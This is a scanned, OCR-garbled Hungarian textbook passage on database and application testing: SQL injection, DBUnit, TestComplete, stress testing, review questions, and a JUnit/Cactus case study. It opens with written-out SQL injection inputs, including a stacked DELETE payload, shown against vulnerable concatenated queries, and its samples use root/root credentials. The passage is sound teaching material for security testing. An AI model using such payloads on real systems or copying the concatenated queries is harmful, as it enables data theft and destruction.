felhasznal6tol lekérdzzik a keresett aru nevét. Ehhez a GUI tartalmaz egy anev mezét. A
mez8be bevitt értéket egy SQL parancssban adjuk at, mint kulcsérétket:

parancs = "SELECT * FROM termekek WHERE nev = '"
+ anev.text +"' "

Ha a felhasznal6 az elvart normal azonosité név helyett egy

baba' or 'a'='a'

értéket viszi fel, akkor az elkildétt parancssor a

SELECT * FROM termekek WHERE nev = 'baba' or 'a'='a';

lesz, amely minden terméket vissza fog adni. Még sulyosabb kar éri a rendszert, ha a bevitt
parancs

baba' ; delete from termekek where 'a'='a'
alaku, hiszen ekkor két egymastkévetd parancs kerul a szerver oldalt végrehajtasra, melyek
alakjai
SELECT * FROM termekek WHERE nev = 'baba';

DELETE FROM termékek WHERE 'a'='a';

A fenti tamadasok ellen a beolvasott paraméterek alaposabb ellendrzésével illetve a
parancsok kétfazisu végrehajtasaval lehet védekezni.

A védelmi tesztek esetében is tdbb szinten futhat az ellenérzés. A FirtsTechnologies ajanlasa
alapjan az alabbi tesztek kerlilnek végrehaijtasra:

» Kils6, alkalmazas szintli tesztelés (példaul az SQL Injection tamadas ellenérzése)
+ Adatbazis audit: a beépitett védelmi politika ellenbrzése, jogosultsagi politika tesztelése

+ Adatbazis behatolas teszt, kllénb6z6 segédeszkdzok révén kisérletek az adatbazis adatok
elérésére

* OS szintl audit, az operaciés rendszer fel6li védelmi elemek ellenérzése
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Adatbazisok tesztelése

+ Adatfolyam elemzés: a szerver és a kliensek kozoétti adatfolyam ellenérzése

Adatbazis tesztelési segédprogramok

DBUnit tesztkérnyezet hasznalata

A DBUnit rendszer az elterjedt JUnit tesztrendszerre épll6 adatbazis miveletek tesztelésére
alkalmas ingyenes keretrendszer. A DBUnit rendszer a tesztelésben els6dlegesen arra
hasznalhatd, hogy segitségével az adatbazist, annak tartalmat egy megadott allapotba
hozzuk . Ezaltal biztosithatd, hogy a tesztek konzisztensen futatthatok, gyorsan és
egyszerlien rekonstrualhatdk a teszthez sziikséges kornyezetek. Az igényelt adatbazis
taratimat egy XML allomanyban lehet megadni, ahol t6bb tesztallapotot is nyilvan lehet
tartani. A teszt inditasa el6tt a DBUnittal betdltheté az igényelt allapot az adatbazisba. A
DBUnit rendszer elényei a kévetkezd pontokban foglalhaték éssze:

+ A tesztekhez igényelt adatbazis tartalom hatékony kezelése

+ Tamogatas az adatbazis tartalom XML allomanyba térténd kimentéséhez illetve az XML
allomanybdl térténd visszatoltésére

* Lehetb6séget ad a letarolt adattartalmakban térténé keresére, az kilénb6z6 adatbazis
allapotok 6sszehasonlitasa

A DBUnit keretrendszer hasznalata, a tesztelés soran soran az alabbi Iépéseket kell
megtenni:

1. Adatbazis allapotot tartalmazd XML allomany el6készitése

2. Adatbazis aktualis allapotanak kitérlése

3. A lementett allapotokbél a kivalasztott allapot betéltése XML-bél az adatbazisba.
4. Tesztek futattasa

5. Tesztek kiértékelése

Az XML-ben tarolt adatok betdltését a keretrendszer altal tartalmazott DatabaseTestCase
osztalyon keresztill, annak setUp() metéduséaval végezhetjik el.

A kévetkezbkben egy mintat mutatunk be a DBUnit hasznalatara. Az elsd 1épés az adatokat
leir6 XML allomany (pl. input.xml) eléallitdsa. Az XML allomany szerkezete az adatbazis
szerkezetét tikrozi. Az XML a konkrét adatmezd tartalmakat is tarolja amint az aldbbi példa
is mutatja

<?xml version='l.0' encoding='UTF-8'?>
<dataset>
<login id="1" empcode="EQ005" loginname="chandan"
password="chandan" loginenabled="y"/>
<login 1d="2" empcode="E006" loginname="deepak"
password="deepak" loginenabled="n"/>
</dataset>

A kovetkezd Iépésben a keretrendszer getConnection metédusan keresztil kapcsolatot
épitlink ki a céladatbazishoz:

14



Adatbazisok tesztelése

// Provide a connection to the database

protected IDatabaseConnection getConnection () throws Exception{
Class driverClass = Class.forName ("com.mysqgl.jdbc.Driver");
Connection jdbcConnection =
DriverManager.getConnection ("jdbc:mysgl://localhost:
3306/hrapptest™, "root", "root");
return new DatabaseConnection (jdbcConnection);

Az XML-ben tarolt adatokat betdltjik az adatbazisba:

// Load the data which will be inserted for the test

protected IDataSet getDataSet () throws Exception{

loadedDataSet =
new FlatXmlDataSet (this.getClass () .getClassLoader ().
getResourceAsStream ("input.xml")) ;

return loadedDataSet;

Eztkdvetben elindithatdk a betdltétt tartalomhoz kapcsol6dé adatbazis tesztek.

TestComplete rendszer

A TestComplete keretrendszer egy Osszetett tesztkdrnyezetet biztosit az adatbazis
teszteléshez. A fizetds termék tdbb kilénb6z6 tesztfeladatot is tamogat

» Funkciondlis teszt: Az alkalmazasok GUI fellletén keresztil célja annak ellenérzése,
hogy a kért funkciok valéban jol mdkddnek-e. A teszt tdmogatasara a TestComplete
rendszer lehetéséget ad a felhasznalo6i kezel6 parancsok (egér, billentylizet) feljegyzésére
és késdbbi visszajatszasara. A lejegyzett tevékenységek késébb kézvetlendl is
szerkeszthet8k és bdvithetdk. A tesztekhez ellenérzési pontok kdtheték, ahol a kijel6lt
objektumok értéke dsszehasonlithatd a bazisként kijel6lt értékekkel.

1.3. abra - Felhasznal6i GUI tevékenységek naplézasa
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» Parancs-orientalt teszt: Ezen teszt tipus arra szolgal, hogy a felépitsiik a felhasznalé
altal elvégzendd kezelési tevékenységek miveletsorat. A tevékenység kijelélése térténhet
grafikusan , egy eszkdzlistabodl valasztva a tevékenység elemet; illetve hasznalhatunk egy
script nyelvet is. A tesztekhez ellenérzési pontok kéthetdk, ahol a kijel6lt objektumok értéke
6sszehasonlithaté a bazisként kijel6lt értékekkel.
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Egység teszt: Az egyes osztalyok tesztelését szolgalé modul

Regresszios teszt: A modul a regresszios tesztek menedzselést, azok Gtemezését végzi.
A keretrendszer lehet6séget ad az egyes tesztek eredményének napldézasara és az
eredményeknek a bazisadatokkal térténd 6sszehasonlitasara.

Terhelés teszt: A keretrendszer egy kifinomult, hangolhaté kérnyezetet biztosit a terhelési
tesztek elvégzésére. A tesztekhez szimulalhaté a terhelés mértéke és jellege. Tébbek
kézétt beallithatd a szimulalt kliensek eloszlasa, a mikddési paramétertik, a halozati
kapcsolataik jellege, sebessége. A tesztadatok naplézasan keresztil elemezhetd a
rendszer terhelési karakterisztikaja.

Adat-orientélt tesz: A keretrendszer lehetéséget ad a teszthez szilkséges bemend
adatok hatékony generalasara. Egyrészt biztosit egy viéletlen tesztadatsort generald
mechanizmust, masrészt rugalmas bemené adatsorforras kijel6 mechanizmusa is van.

DTM DB Stress rendszer

A DBSterss keretrendszer célja az adatbazis terhelési tesztek elvégzéésnek és
kiértekelésének a tdmogatasa. A teszt végrehajtas Iépései a kbvetkezb pontokbdl allnak:

Adatforras kijeldlése: az elterjedt adatbazis csatolok hasznalataval az adtforrasokszéles
kore elérhetd

Uj ures teszt létrehozasa
a végrehajtand6 SQL parancsok kijeldlése
a végrehajtas paramétereinek megadasa (pl. ismétlésszam, szalak darabszama)

a tesztek futtatasa: A futtatdsnal tobb végrehajtdsi mod is elérheté. A tdmogatott
Uzemmoddok: soros, parhuzamos és kétegekbe rendezett végrehajtas.

eredmények értékelése: a keretrendszer tobb teljesitmény paraméter is tdmogat, grafikus
és tablazatos megjelenitést szolgaltat a futtasi adatokrol. A mért paraméterek kulén jegyzik
az egyes veégrehajtasi lépséek koltségeit, mint példaul a kapcsolat kiépités ideje vagy
parancs el6készités ideje.

A rendszer kiilén modulokat biztosit a tesztadatok el6allitasra is.

1.4. abra - A DTM DBStress keretrendszer GUI elemei
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Adatbazisok tesztelése

Kérdések

1. Milyen teszttipusok értelmezhetbk adatbazisok fejlesztése esetén?
Vélasz:
+ adatbazis séma teszt
+ funkcionalitasi teszt
+ adatintegritasi teszt
+ védelmi teszt
+ terhelési teszt
» hatékonysagi teszt
2. Miben nyilvanul meg a TDD koncepcitja az adatbazisok fejlesztésében?
Vélasz: Fokozatos adatmodellezés a teszteléssel egybekdtve:
a. induld teszt eléallitasa a kivant funkciohoz

b. a teszt futtatasa; ha sikeres at lehet térni a kdvetkez6 funkciéra és igy vissza az 1.
ponra; ha nem sikertl tovabblépés a 3. pontra

c. a modell médositasa egy kisebb, kezelheté mértékben

d. a teszt futtatasa; ha sikeres at lehet térni a kdvetkezé funkciora és igy vissza az 1.
ponra; ha nem sikeril visszaépés a 3. pontra

3. Milyen adatbazis valtozatokra (homokozdk) van szlikség a fejlesztés soran?
Vélasz:
« fejleszt6i kornyezet (development sandbox):
+ projekt integraciés kdrnyezet (project integration sandbox):
» demostraciés kdrnyezet (demo sandbox):
* bevezetési teszt kdrnyezet (pre-production test sandbox):
» (zemi, éles kérnyezet (production)

4. Milyen mechanizmusok allnak rendelkezésre adatbazisok esetén a hivatkozasi
fliggetlenségi szint névelésére?

Valasz:
* nézeti tablak
+ TRIGGER-ek
+ tarolt eljarasok
*+ szinonima objektumok
5. Milyen tesztek tartoznak a védelmi témakérbe?

Valasz:
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Kuls®, alkalmazas szinti tesztelés (példaul az SQL Injection tdmadas ellendrzése)
Adatbazis audit: a beépitett védelmi politika ellenérzése, jogosultsagi politika tesztelése

Adatbazis behatolas teszt, kilonbdzb segédeszkdzok révén kisérletek az adatbazis
adatok elérésére

OS szintl audit, az operacios rendszer fel6li védelmi elemek ellenérzése

Adatfolyam elemzés: a szerver és a kliensek kozotti adatfolyam ellendrzése
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Chapter 1. Esettanulmany
Bevezetes

Eqgy kliens-szerver alkalmazas helyességét, hatékonysagat tébb helyen lehet
és kell is ellendrizni. Minél hamarabb derllnek ki a hibak gyengeségek, annal
hamarabb lehet azokat javitani, €s ebben az esetben pontosan tudjuk a helyet
és azonnal javithatjuk (ha csak a végén vesszik észre a hibat, akkor meg kell
keresni, hogy mibél ered). Ebben a fejezetben egy valds fejlesztés tesztelését
mutatjuk be.

Az MTA SZTAKI Kognitiv informatika laborja tlizte ki maganak a feladatot,
hogy egy virtualis egyuttmikddési rendszert hozzon létre, melynek neve VIR-
CA (VIRtual Collaboration Arena). Az alkalmazas egy 3 dimenzios térben
valos és virtualis objektumokat jelenit meg, és kezel. A rendszerben tet-
szbleges szamu és tipusu komponenseket lehet elhelyezni (virtualis vagy
valésagos), amelyek mindegyike egy 6nallé alkalmazas. Az elsé verzio utan
Ujabb igények meriltek fel. Az elkészilt rendszer egy osztott alkalmazas lett,
ami CORBA és ICE technoldgiakat hasznal. A rendszer egy k6z6s adatstruk-
turat hasznal az elérheté6 komponensek nyilvantartdsara, a CORBA naming
service-t (név szolgaltatast), amifa strukturaban tarolja a komponenseket. A 3
dimenziés megjelenitd ablak OGRE (nyilt forraskodu grafikai motor) rendszer
segitségevel implementaltak c++-ban. A mi rendszerink a halézati kommu-
nikacié lebonyolitasara egy Openrtm-aist robot middleware-t hasznal. irtunk
ehhez par kiterjesztést (ICE port, 1 fogyaszté t6bb szolgaltatd lehetbség),
és a projekt kezdetekor a gyari rendszer szerkesztét hasznaltuk. A gyari sz-
erkeszt6 egy Eclipse plugin, amely hasznalatahoz egy t6bb 10 megabajtos
alkalmazas szikséges (Eclipse), és mi rendszerlink hasznalatakor kényel-
metlen egy kulsé szerkeszt6t hasznalni (valtogatva az aktiv alkalmazast).
Masik probléma, hogy a mi altalunk készitett kiterjesztés a hivatalos sz-
erkeszt6 nem ismeri €s nem is tudja hasznalni. Olyan szerkeszt6re volt szik-
ség, amely képes futni az OGRE virtualis terében. A Chrome egy modositott
verzidja képes memoariaban létrehozni a béngészd képét, ami ezutan rafeszi-
thet6 egy sikra. A kliens tehat egy bongészében futd vékony klienst is kell
tartalmazzon. A kliens oldalon egy tipikus grafikus szerkeszt6t kell implemen-
talnunk, ezért a javascript - mint lehetséges megoldas kizarhaté. Harom al-
ternativa kozul valaszthattunk:

+ FLEX
+ JAVA FX
+ Silverligth

Szerettlk volna, ha az alkalmazas platform fliggetlen, ezért a Silverlight-ot
az els6 korben kizartuk. El6ztetes vizsgalataink alapjan ez a maodositott
bdéngész6 nem képes Java FX technoldgia hasznalatara Ezért nem volt
valasztasunk a FLEX kliens oldali technoldgiat alkalmaztuk.
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A szerver oldalon szintén valamilyen platform fliggetlen megoldast szerettiink
volna alkalmazni, ezért a JAVA alapu megoldast valasztottuk. Mivel a sz-
erkeszt6hoz kellett irnunk egy karakteres verziot is, ezért egy kilon rétegben
implementaltuk az Gzleti logikat.

Figure 1.1. A SZTAKI Openrtm kiterjesztésének felépitése

OpenrtmExt_Tools OpenrtmExt_Server

COpenrtmEst_Logic

OpenrtmExt_lceport

ICE

A rendszer 4 rétegbdl all, melyek a kdvetkezdk:
* megjelenitési, és vezérlési,

* logika réteg,

 alacsonyszintl réteg.

* programozoi middleware réteg

A megjelenités és a vezérlés réteg (zdld szinli). Feladatuk a rendszer inter-
fészének biztositasa:

1. paraméterek fogadasa, ellen6rzése,
2. esetleges eredmények megjelenitése,
3. Szolgaltatasokat kér a vezérlé rétegtdl

Az OpenrtmExt_Logic, logikai réteg (sarga szinl) a logika réteg, ame-
lynek feladata a megjelenitési réteg altal kért funkcidk kiszolgalasa az
OpenrtmExt_Iceport és az OpenRtm alrendszerek segitségeével. Ez a réteg
egy csomag (jar fajl), amely a web-, vagy konzol alkalmazas mellet kell
legyen.

Alacsonyszintl réteg tartalmazza az Openrtm-aist implementaciojat, ez kul-
s6 rész, és az OpenrtmExt_Iceport részt. Ezek végzik az alacsony szintl
miveleteteket. Ezek minden esetben a futd komponensben vannak beagyaz-
va.

Az alsé rétegeket csak alkalmazzuk azoknak a tesztelése mas feladata,
nekink csak az OpenrtmExt_logic, OpenrtmExt_server és Openrtm_Tools
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részekkel kell foglalkoznunk. A fejlesztés a klasszikus vizesés modell 1épé-
seibdl all, a mdédszerek is azt javasoljak, csak a legtdébb tobb iteraciot ir eld,
és igy a rendszer finomodik.

Tip

A teszt eseteket mar a specifikacié irasakor meg kell hatarozni és
le kell irni a forgatokdnyveket. Az egyseég teszteket érdemes mar
az elsé osztalyok megirasanal lefuttatni, €s minden modositasnal
ujbdl és ujbdl lefuttatni. Erre a feladatra érdemes valamilyen au-
tomatizalt megoldast keresni, amely lefut lehetéleg minden "fontos"
alkalomkor.

Az alkalmazasnak valojaban ez a szerver oldala, azonban a kliensek
egy bdngészdn keresztll kildik kéréseiket a szervernek. A kliens nem
a hagyomanyos értelemben vett vékony kliens, hiszen egy grafikus sz-
erkeszt6, amelyben az elemek elhelyezése, atrendezése, 6sszekotése a 6
tevékenység. Az elemek elhelyezése és a muiveletek valésagos informa-
ciokat igényelnek, amit a szerver oldali logika nyujt. Amikor a felhasznald
elkészitette a rendszerét, akkor ténylegesen elinditja, 6sszekoti az elemeket,
azaz a szerver oldali logika a kérései alapjan utasitja az alacsony szinti
réteget (vezérli a komponenseket). A teljes topoldgiat a kdvetkezé abra mu-
tatja:

Figure 1.2. Grafikus szerkeszt6 rendszerink fébb komponensei
€s kommunikacids csatornai

RTC Estersminn
: il Py li2E e RTCHTTR websap
= T
z |
% ':Il.j - : 5 I ‘"
= i t ! \
M . I l.‘
3 . : I\
o o
o, . | A
F e = B ¥ LY
conpanantl - -~ = Mo 00 SRS R | \
E I e e \
E Lafrdefiei ]
E - L 3
& Laampansnt] - = Laojha bamesenarl

Ha hibasan mikodik a rendszer az szamos helyen levé hiba eredménye lehet.
Ezért folyamatosan kell tesztelnlink a logikaban, a szerver oldalon, a kliens
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oldali kédban is. Minden kis valtozas egy 1étezd hiba kijavitasa ujabb hibakhoz
vezethet, amit ha csak kés6bb veszink észre, akkor nem tudjuk, hogy melyik
valtozas okozta.

Tip

Minél hamarabb vezesslnk be egy (lehetdleg a projekt in-
dulasakor) folyamatos integracié rendszert (continous integration
system), ami a kod legkisebb valtozasa esetén lefuttatja az 6ssze
tesztet. Ezek a rendszerek levelet kildenek, ha beallitottuk. Alka-
Imazasaval lehetéség nyilik arra, hogy mindenki azonos verziot
hasznal, és a javitasok altal keletkezett hibak azonnal kiderlinek.

Szerver oldal tesztelése

Egységteszt

Az egysegtesztek irasanal két modszert is kdvethetiink a teszt osztalyaink
|étrehozasara:

1. A tesztelendd osztaly mellett |étrehozunk egy mappat (csomagot) és ab-
ban helyezziik el a teszt osztalyokat

2. Egy kulén mappaban, ahol kévetjik a tesztelendd osztalyok strukturajat
(ugyanaz a csomag egymasba agyazasa). A Netbeans csak ezt tdmogatja.

Mind az Eclipse, mind a Netbeans tdmogatja az egység tesztek generalasat,
és grafikus fellleten nyomon kdvethetjik a tesztek eredményét. Mi a fe-
jlesztés alatt a Netbeans hasznaltuk, és a fejlesztés ideje alatt a 6.9.1-es
verziot hasznaltuk. A teszt osztalyokat elkészithetjlik kézzel vagy mas al-
kalmazassal is ilyenkor masoljuk a be egy mappaba az src mappa mellé.
Ha még nem létezik, akkor a Netbeans létrehozza a teszt osztalyokat au-
tomatikusan. Hozzunk létre egy uj fajlt! A kategoriak kozul keressik ki a JU-
nit nevit, majd valasszunk a lehetéseégek kozul: Egy Ures teszt, amit neklnk
kell majd testre szabni, vagy teszt egy létezd osztaly alapjan (ilyen az oszta-
ly nyilvanos flggvényei alapjan elkészit egy teszt osztalyt), vagy egy teszt
gyljteményt egy csomag osztalyai alapjan.




Esettanulmany

Figure 1.3. Tesztkészlet Iétrehozasa Netbeans alatt
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Description:
2 _.?{:. : Creates a test suite for all tests in a selected Java test
LT package. 2
i

< Back Finish Cancel Help

Miutan a teszt osztalyok elkészliltek téltsik ki azok metddusait. Ne felejtsiik
el, hogy az IDE minden metdédushoz csak 1 teszt fliggvényt general, azonban
nekiink ez nem elég. Altalaban tébbre van sziikség, tesztelniink kell pozitiv
eredményekre és hibak helyes kezelésére is. Az egy tervezési dontés, hogy
egy hiba keletkezésénél kivételt dobunk vagy visszatérési értékben adjuk vis-
sza sikertelen mivelet tényét.

Tip

Hasznaljuk kivételeket a hibas paraméterek, nem megfeleld
kornyezet jelzésére, mert ilyenkor lehet6ség van visszafejteni a hi-
ba pontos helyét, okat!

A JUnit segitségvel figyelhetjuk egy kifejezés értékét, kivétel keletkezését.

Erdemes a tesztiink paramétereit nem széveg konstansokkal megadni,
hasznaljuk helyette a JVM paramétereket, mert ilyen kor lehetéség van
ujraforditas nélkdl futtatni kilénb6z6 paraméterekkel. Netbeans alatt ezt kdn-
nyen megtehetjik, csak fel kell venni egy uj futasi konfiguraciot (run configu-
ration), melynek neve "test":
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Figure 1.4. Egységtesztek generalasa Netbeans segitségével

R — oS |

-
@ Project Properties - OpenrtmExt_Logic = S

Categories:
- @ Sources
Configuration; |test - Mew... | l Delete I
- @ Libraries
Bl @ Buid :
’ & Compiling Main Class: Browse...
- @ Packaging
-3 Documenting Arguments:
- @ Run
& o Appication Working Directory:
o @ Web Start VM Options: -DitestCompMame ="test_krz/IcePortProviderTestd.ric”
- @ Formatting (e.g. Xms10m)
Run with Java Web Start
{To run and debug the application with Java Web Start, first enable Java Web Start)
Ok l | Cancel | | Help |

Az aktualis paraméter elérése a kovetkezé koddal lehetséges, amelyet
érdemes a tesztek elétt egyszer kiolvasni és eltarolni:

Example 1.1. A JUNIT teszt setUp() fiuggvénye, ami kiolvassa a
JVM paramétereket

@Before public void setUp() throws Exception ({
testComp = System.getProperty ("testCompName") ;

Ha a tesztek elkésziiltek, akkor futtassuk azokat! Futtathatunk egy teszt os-

ztaly (Test File, Debug Test File), vagy a projekthez tartozé dsszeset is (Test
Project).

Figure 1.5. Egységteszt eredményének ablaka Netbeans alatt

: Qutput - OpenrtmExt_Logic (test) : Tasks | Test Results -]
-

u> S port._port_nams - IceProviderPort0

TN rannC S
- 18 tests passed, 5 tests faled. (7,754) . pesttonnectlo

E| 0 hu.zztaki.openrtmext.logic. ComponentBeanTest FAILED
{P ) testdearAlEntriesInMNaming pa

@ bestl.lstComponenisRecurswe
@ testlistComponents passe

compl=test_krz/IcePFortProviderTestl.rtc:.IcePro
= | |compi=test_krz/IceFortConsumerTestl.rtc:.IceCon
compl=test_ krz/IcePortProviderTestl.rte: Iecelro

compi=test_krz/IceFortlonsumerTestl.rtc: . Icelon

1545 [main] INFO jacorb.orb.giop - ClientConnec
6 testGetMoreProfiles 1547 [mzin] INFO jacorb.ork.iiop — Connected to
@ testGetProfileString g 1549 [main] INFQ jacorb.orb.giop - ClientConnec
H /4, testGetProfileStringString FAILED: The testGetProfileStringStrin ™ i
4 m » 4 m 3

Integracios teszt (Cactus)

A Java alapu webalkalmazasok tesztelése kdénnyen elvégezheté a Cac-
tus (Apache) termékkel, amely hatékony keretrendszer az integraciés
egyseégtesztek futtatasara. Az egységteszt ellenérzi az egyes objektumok
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helyes mikddését, de nem ellendrzi az objektumok kdzoétti helyes kapcso-
latokat. A rendszer a megfeleléen egyuttmikédé objektumok alkotjak, igy
tesztelésik fontos. A Cactus rendszer fontos tulajdonsaga, hogy a teszte-
lend6 elemek (szervlet, EJB, ...) a valésagos konténerben futnak. Léteznek
mock objektumok is az integracios tesztekre. Bar a Cactus bizonyosan lass-
abb, de valésagos, tényleges (vagy ahhoz nagyon kozeli) kérnyezetben el-
lenérizhetjik segitségével rész rendszereinket. A mock teszttel ellentétben
tudjuk ellendrizni az életciklust, biztonsagot, tranzakciot, perzisztenciat, stb. .

A Kkeretrendszer Ecosystem-et definial, amely harom féle komponenst
hasznal: Cactus keretrendszer,Cactus integracios modulok, Cactus mintak,
melyet a kdvetkezd abra illusztral:

Figure 1.6. Cactus Ecosystem felépités

Prowided with the Cactus
distribution

Provaded with the Cactus
distribubion

Froveded with the Cacms
distribution

External teols and
frameworks integrated
with Cactus

Joud

The Cactus Ecosystem

Telepitése egyszerd, csak a jar file-okat kell a megfelel6 helyre masolni. A
grafikus fellletrél az IDE gondoskodik, és a Cl rendszerikben karakteresen
futva, szévegesen gyllnek a teszt esetek. Mivel itt a teszt esetek a szerver
oldalon futnak, ezért egy kicsit specialis a hasznalatuk. Nézzilk at a hasznalati
esetek készitését! Alapvetben két lehetdéseg van teszt futtatni, irni:

1. A Cactus teszt esetek osztalyait hasznalva, melyek ServietTestCase
a szervlet API (HttpServletRequest, HttpServletResponse, HttpSession,
ServletConfig, ServletContext, ...), JspTestCase a JSP API (PageCon-
text, JspWriter, ...) és a FilterTestCase a Filter API objektumainak el-
lenérzésére (FilterChain, FilterConfig, HttpServietRequest, HttpServietRe-
sponse, ...), amiket ténylegesen szervletként, vagy filterként, futtatunk a
webalkalmazas motoron.

2. Hagyomanyos JUnit teszt eseteket hasznalunk, ami egy Cactus teszt kés-
Zletet hasznal ServletTestSuite. Parancssordl futtatjuk.
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A keretrendszer kliens-szerver alapu. A kdvetkezGkben az xxx a teszt neve
minden esetben, azaz ha van egy LoginOk nevl teszt eset, akkor ehhez
definialhatunk beginLoginOk(), endLoginOk() és testLoginOk() metdédusokat.
Vannak metddusok amelyek a kliens oldalon futnak (beginxxx(), endxxx())
majd |étrehozva egy proxy objektumot az el6zbleg telepitett szerver sz-
ervlethez kapcsolddva lefuttatjak a szerver oldali metédusokat a szerver
oldalon (setUp(), testxxx(), tearDown()). Egy webalkalmazas funkcidjanak
lehetnek utéhatasai a szerver és a kliens oldalon is, melyeket a rendszer
segitségével ellendrizhetlink. A szerver oldali utbhatasok ellenérzésére a ko-
dot a testxxx() metddusba kell irnunk, a kliens oldali valasz ellenérzésére
pedig ott van az endxxx() metodus.

Barmelyik futtatasi modot valasztjuk, a szerver oldalon mindenképpen
telepiteniink kell néhany komponenst. Mi Apache Tomcat rendszert hasznal-
tuk, a beallitasokat nézzik meg erre az esetre. Jelen pillanatban a Cactus
1.8.1-es verzidja érhetd el, és az interneten elérheté dokumentacidja flg-
g6ségekrdl egy régebbi verziétismertet. Barmilyen java rendszer is telepitlink
hasznalat kbzben az osztaly betdlté jelzi, hogy ha valamely osztaly nem talal-
hat6. Ennek két oka lehet: vagy nincs egy jar fajl a classpath helyen, vagy
valamelyik jar fajlbol egy régebbi verzidt hasznalunk.

Elsé Iépésként masoljuk a megfeleld helyre a Cactus jar fajljait! Két lehetéség
van: vagy a tomcat lib mappajaba masoljuk, vagy célzottan a tesztelendd
webalkalmazas WEB-INF/lib mappaba. Az els6 megoldas hatékonyabb,
hiszen egy ujabb tesztelendé webalkalmazas esetén ujbdl telepiteni kell,
ami plusz mnunka és Uujabb helyfoglalds a hattértarolon. Masolandd
jar fajlok: cactus.core.xxx, commons.codecxxx, commons.httpclientxxx,
commons.loggingxxx, aspectjrt.jar, junitxxx (xxx attdl fugg, melyik verziot
hasznaljuk). Ezutan modositsuk a /conf/web.xml konfiguracids allomanyt!

Tip

Ha mddositani akarjuk valamely rendszer konfiguracios al-
lomanyat, akkor minden modositas el6tt mentsik el azt valamilyen
kiterjesztéssel, pl. egy datum utotaggal egészitsik ki. A fajl tar-
talmaban is irjuk be megjegyzéskeént, hogy ki és miért mddositott.

irjuk be a kdvetkezd bejegyzést a web-app bejegyzés elejére, azaz a <web-
app ....> kezdetl sor utan:

Example 1.2. Cactus szervletek beallitasa Tomcat rendszerbe

<servlet>
<servlet-name>ServletRedirector</servlet-name>
<servlet-class>
org.apache.cactus.server.ServletTestRedirector
</servlet-class>
f<init-param>
<param-name>paraml</param-name>
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<param-value>valuel used for testing</param-value>
</init-param>
</servlet>

<servlet>
<servlet—-name>ServletTestRunner</servlet—-name>
<servlet-class>
org.apache.cactus.server.runner.ServletTestRunner
</servlet-class>
</servlet>

Nem kotelez6, ezzel a mdédszerrel lehet paramétereknek értéket megad-
ni.

A konfiguracios allomanyban szamos ilyen szervlet bejegyzés talalhato, ahol
megadjuk a szervlet nevét, és az azt implementalé osztaly teljes neveét.
Ezutan meg kell adni ennek a szervletnek az url mintajat, hogy milyen kérés
hatasara toltse be a konténer, melyet a kdvetkez6 kod definial:

Example 1.3. Cactus szervletek beallitasa Tomcat rendszerbe

<servlet-mapping>
<servlet-name>ServletRedirector</servlet-name>
<url-pattern>/ServletRedirector</url-pattern>
</servlet-mapping>

<servlet-mapping>
<servlet-name>ServletTestRunner</servlet-name>
<url-pattern>/ServletTestRunner</url-pattern>
</servlet-mapping>
<servlet-class>
org.apache.cactus.server.runner.ServletTestRunner
</servlet-class>
</servlet>

Az allomanyban mar vannak ilyen bejegyzések, helyezziik ezt a tébbi hasonld
elé!

Ugyanugy definialhatunk setUp és tearDown metédusokat, de ezek immaron
a szerver oldalon futnak, igy elérik a szerver és a Cactus implicit objektumokat
is. A teszt fuggvenyekben testXXX() példanyositjuk a szerveletet (vagy mas
szerver oldali objektumot), hasznaljuk azt, majd ellenérizzik a szokott mo-
don az asserts(), assertEquals() metodusokkal vagy a fail() metdédussal hi-
bat jelzink. A Cactus rendszerben lehetéség van minden testXXX() meté-
dushoz beginXXX() és endXXX() metdédusokat definialni, amelyek csak az
adott teszt fiiggvény elétt (utan) futnak le. (Emlékezzilnk vissza. A setUp és
tearDown minden teszt metddus elétt lefut raadasul a szerver oldalon.) A
beginXXX(WebRequest theRequest) metdédus paramétere egy Cactus objek-
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tum, amit beadllithatunk a tényleges kérésnek megfeleléen, amely figgveny
"kliens" oldalon fut, miel6tt a testXXX lefutna. A teszt utani figgvény szin-
tén a "kliens" oldalon fut le (ha a szerver oldalon nem volt hiba, és min-
den ellenérzés sikeresen lefutott), feladata a valasz ellen6rzése endXXX().
A Cactus egy proxy objektumon keresztul tovabbitja a kérést a szerver oldali
logikajanak, majd ha lefutott visszatér a kliens oldalra. A pontos foylamatot
a kovetkezd abran lathatjuk:

Figure 1.7. Cactus tesz metddus futtatasanak folyamata

_ | setUp(),
©) begin) | (%) tesBEX0,

beginX XX() I tearDown)

@ I I SR T G @
¥ ¥V TestCase o : R.epdiluegur- ¥ VTestCase

: @ P
(3) XD :

end() |

i

|
Client side | Server side

A Cactus-ban hasznalhatjuk a mar megszokott implicit objektumokat (pub-
likus adattag formajaban). Ezek egy része csak a szerver oldalon létezik,
masok kliens oldalon is elérhetéek. Csak szerver oldali implicit objektumok
a session, ServletContextWrapper,config. Ezek hasznalhatéak a setUp(), a
testXXX() és a tearDown() metddusokban (nem hasznalhatjuk a kliens oldali
fv.-ekben, mert ott értékuk null). Kliens oldalon is hasznalhatéak a request
(beginXXX), response (endXXX). Osszegezve 5 objektum létezik, melyek a
kovetkezbek:

request Sajat wrapper osztaly, ami a megszokott
HttpServletRequest osztalybdl szarmazik.
Altalaban a  beginXXX() metdédusban
hasznaljuk, hogy beallitsuk a teszt kérés
paramétereit, és a suti(ke)t. Néhany meto-
dussal rendelkezik, ami nincs a hagy-
omanyos kérés objektumban, ezek a
tesztelés paramétereinek a beallitasat szol-
galjak: setRemotelPAddress(), setRemote-
HostName(), setRemoteUser(), setMethod().

response Ez a megszokott HttpServletResponse oszta-
ly egy példanya.

config Sajat wrapper osztaly, ami a
megszokott ServletConfig osztalybdl szar-
mazik. Lehet6séget biztosit, hogy inicial-
izalé paramétereket adjuk meg a szervletnek

10
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web.xml nélkll. Hasznalhaté definialt plusz
metodusok: setlnitParameter(), setServlet-
Name()

ServletContextWrapper Nem érhetd el kozvetlenil, de ugyanu-
gy létrejon és hasznalata javasolt. A
config.getServletContext() metédus vissza-
térési értéke

session A rendszer valtozatlan formaban elérhetévée
teszi (inicializalja) a megszokott objektumot.
A teszt fuggvényben a szokasos moddon
hasznalhatjuk, majd ellendrizhetjik a tar-
talmat.

Nézzink meg egy kodrészletet a ManagerServlet-Unk tesztelését végzé
TesztManagerServlet osztalybal:

Example 1.4. Cactus szervlet teszt eset osztaly (részlet)

public void beginLogOut (flWebRequest webRequest)
{

HwebRequest.addParameter ("function", "logout");

public void testLogOut ()
{

BlManagerServlet servlet = new ManagerServlet () ;
try{

Bservlet.processRequest (request, response);
}catch (Exception ex)

{

BHfail ("Exception occured: " +
ex.getMessage () ) ;

}

BassertFalse ("Session is exist yet",
request.isRequestedSessionIdvalid());

}

public void endLogOut (lWebResponse theResponse)

{
try {

11
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// XML feldolgozas helye
